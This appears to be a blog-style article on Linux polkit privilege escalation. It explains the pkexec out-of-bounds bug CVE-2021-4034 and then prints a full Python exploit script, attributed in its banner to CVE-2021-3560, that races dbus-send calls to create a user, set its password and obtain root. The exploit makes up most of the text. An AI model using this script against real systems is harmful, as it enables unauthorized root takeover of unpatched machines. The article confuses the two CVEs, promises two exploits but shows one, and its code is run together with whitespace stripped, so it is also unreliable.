Polkit or PolicyKit controls system-wide privileges and provides a way for non-privileged users to communicate with privileged ones. pkexec allows polkit to execute commands with escalated privileges, which is where a memory corruption bug dating back to 2009, was found in 2022.
The CVE-2021-4034 bug works on most Linux distributions that are not patched.
pkexec’s main() function processes command-line arguments, which searches for the program to be executed. If the path is not absolute, it checks directories of the PATH environment variable, which creates a pointer to the string and is written out-of-bounds if the name exists to envp[0]; This means that out-of-bounds write allows us to create an insecure environment variable into pkexec's environment, which is normally removed from SUID programs before main() is called:
main (int argc,char*argv[]){for (n =1; n < (guint) argc; n++) { } path =g_strdup (argv[n]);if (path[0] !='/') { s =g_find_program_in_path (path); argv[n] = path = s; }
Below are two primary exploits that are known to work well:
import osimport sysimport timeimport subprocessimport randomimport pwdprint ("**************")print("Exploit: Privilege escalation with polkit - CVE-2021-3560")print("Exploit code written by Ahmad Almorabea @almorabea")print("Original exploit author: Kevin Backhouse ")print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")print("[+] Starting the Exploit ")time.sleep(3)check =Truecounter =0while check: counter = counter +1 process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:#print('1 - Running in process', process.pid) Random = random.uniform(0.006,0.009) process.wait(timeout=Random) process.kill()except subprocess.TimeoutExpired:#print('Timed out - killing', process.pid) process.kill() user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')if user.find("uid")!=-1:print("[+] User Created with the name of ahmed")print("[+] Timed out at: "+str(Random)) check =Falsebreakif counter >2000:print("[-] Couldn't add the user, try again it may work") sys.exit(0)for i inrange(200):#print(i) uid ="/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)#In case you need to put a password un-comment the code below and put your password after string:yourpassword' password ="string:"#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')#password = f"string:{res.rstrip()}" process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:#print('1 - Running in process', process.pid) Random = random.uniform(0.006,0.009) process.wait(timeout=Random) process.kill()except subprocess.TimeoutExpired:#print('Timed out - killing', process.pid) process.kill()print("[+] Timed out at: "+str(Random))print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)